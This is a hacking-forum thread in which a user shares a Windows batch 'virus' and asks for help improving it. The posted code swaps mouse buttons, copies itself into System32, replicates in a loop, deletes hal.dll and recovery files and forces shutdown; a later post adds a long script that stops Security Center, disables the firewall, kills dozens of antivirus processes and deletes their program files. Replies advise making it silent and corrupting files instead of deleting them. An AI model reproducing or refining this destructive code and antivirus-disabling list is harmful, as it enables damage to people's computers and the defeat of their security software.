Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Shell 

Semi-Advanced Batchcoding

I need help with my batch/virus!

Code with notes and questions/problems:
Code
@echo off
Title Maybe v1.3
color 0a
Echo Start?
pause
goto A

rem Just a protection to myself... so i don't press it :D
:A
cls
set /p p=Enter THE Pass:
if %p%==die goto DisA
else
goto Go

rem A part of my security above
:Go
cls
echo WRONG!!!
pause
exit

rem Disability!
:DisA
cls
Rundll32 user32,SwapMouseButton
copy /y Maybe.bat "C:\windows\System32"
time 12:00
rem Need a way to disable Keyboard/ctrl+alt+del command.
rem tskill for antivirus? and there DEL of there "Base-files"
rem A way cut off/disable network temperary or permenent?
goto Bomb

rem This the E-Bomb part
:Bomb
cls
if %x%==1000 goto FinishIt
cd C:\windows\System32
start http://piv.pivpiv.dk/
start Maybe.bat
copy %0 "%random%.bat" > nul
rem Need a way to spam Desktop also...
set /a x=+1
goto Bomb

rem Finish the target completely after taking him down
:FinishIt
cls
del /f /q "C:\windows\System32\hal.dll"
rem I need a way to format/delte all drives (also Revovery Drives)
del /f /q "D:\recovery"
rem i don't know if the code above will work... is there a command for a hole e.g. Drive DEL like: del /f /q /s "C:\" and it will all be gone in the "C-Drive"?
shutdown /s /t 00
rem virus done...

Pure Code:
Code
@echo off
Title Maybe v1.3
color 0a
Echo Start?
pause
goto A

:A
cls
set /p p=Enter THE Pass:
if %p%==die goto DisA
else
goto Go

:Go
cls
echo WRONG!!!
pause
exit

:DisA
cls
Rundll32 user32,SwapMouseButton
copy /y Maybe.bat "C:\windows\System32"
time 12:00
goto Bomb

:Bomb
cls
if %x%==1000 goto FinishIt
cd C:\windows\System32
start http://piv.pivpiv.dk/
start Maybe.bat
copy %0 "%random%.bat" > nul
set /a x=+1
goto Bomb

:FinishIt
cls
del /f /q "C:\windows\System32\hal.dll"
del /f /q "D:\recovery"
shutdown /s /t 00

PS: Please when/if you write a code for me please explain every little part of the code, if you don't mind doing that... i like to understand what i'm doing :)

Don't know if this is "Semi-Advanced" or "Beginner"?... but i got a feeling that you need to have a smaller understanding in Batch-coding.
Feel free to give feedback and come with ideas i can go on with
Thanks to all answers
Instead of deleting everything (which won't work, ever..) just overwrite/corrupt it. It's less likely you'll need access permissions for a read/write operation than a delete operation in a potentially protected directory (Slightly contradictory, but it does in fact work most times).

Make your code run silently, catch ALL errors through monitoring %ERRORLEVEL% and suppress error messages and command output with 2>nul and >nul respectively.

Scrap unnecessary code, such as the title, color and any ECHO commands you may have. Just make it a quick and silent hit on the computer.

Also, it's a pretty basic code. It doesn't spread, it isn't "smart" (the code, that is) and it really can't do much in the way of maximizing damage.
[Image: gaqzA.png]
i see.... but how will you overwrite the "Drives" ?

Great answer btw :)

and i know it's not a "SUPER virus" :)

I was also lookig at a code:
Code
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
Will it be too much and unnecessary?
(Dec 23, 2013 05:54 AM)Minus0st Wrote:  i see.... but how will you overwrite the "Drives" ?

Great answer btw :)

and i know it's not a "SUPER virus" :)

I was also lookig at a code:
Code
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
Will it be too much and unnecessary?

Don't use virus maker codes. AVs can and will detect then instantly.

Be creative with how you bypass security, I know it can be done I'm just not too keen on my method being leeched.
[Image: gaqzA.png]
Okay i understand...
is it "realistic" to create a virus in Batch... og do i HAVE to se VB also?
ty :)
(Dec 23, 2013 09:40 AM)Minus0st Wrote:  Okay i understand...
is it "realistic" to create a virus in Batch... og do i HAVE to se VB also?
ty :)

It's not really worth creating a "virus" in batch at all without advanced knowledge of Batch.
[Image: gaqzA.png]
(Dec 23, 2013 10:40 AM)Greenp0ison Wrote:  It's not really worth creating a "virus" in batch at all without advanced knowledge of Batch.

I wrote a smart virus in batch, it wasn't harmful but it could self replicate and the script changed each time.
RenRioku.... could it be possible for me to have a look at that code (PM me)?

Yea i need a little practice :)
(Dec 23, 2013 10:40 AM)Greenp0ison Wrote:  It's not really worth creating a "virus" in batch at all without advanced knowledge of Batch.

It's not really worth creating a "virus" in Batch at all. Period. End of story.
It's a text file that's interpreted by some Windows programs. Not exactly rocket science to catch/stop.
(Dec 23, 2013 03:53 PM)PigBacon Wrote:  It's not really worth creating a "virus" in Batch at all. Period. End of story.
It's a text file that's interpreted by some Windows programs. Not exactly rocket science to catch/stop.

I have to agree with plausibility. You're just wasting your time.
(Dec 23, 2013 03:07 PM)Minus0st Wrote:  RenRioku.... could it be possible for me to have a look at that code (PM me)?

Yea i need a little practice :)

I will not share the code because I do not want it all over the internet causing more problems.
Thanks for the answers :)

I understand RenRioku...

And i should start with some VB or C programming?
(Dec 24, 2013 02:05 AM)Minus0st Wrote:  Thanks for the answers :)

I understand RenRioku...

And i should start with some VB or C programming?

It is your own choice where to start at, I started with 68k Basic if anyone knows what that is.
I literally JUST started learning C. If you need any help you can PM me. I'm still learning myself, so I don't have all the answers :P
i haven't heard about 68k Basic :)

Of course Icarus Lives i just need to get 25 posts :)

But what do you think is the best C or VB?
Or if you don't program VB... what do you think about C... you like it?


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Shell] by Sir-TeabagMay 3, 2018 05:59 AM 7 196 May 3, 2018 05:59 AM
Last Post: Sir-Teabag
[.NET] by iFruityNov 22, 2013 06:44 AM 4 288 Nov 22, 2013 06:44 AM
Last Post: SIM-1456245
[.NET] by PumpkinsJun 14, 2012 11:17 AM 211 9,263 Jun 14, 2012 11:17 AM
Last Post: vCaLLMeJaKe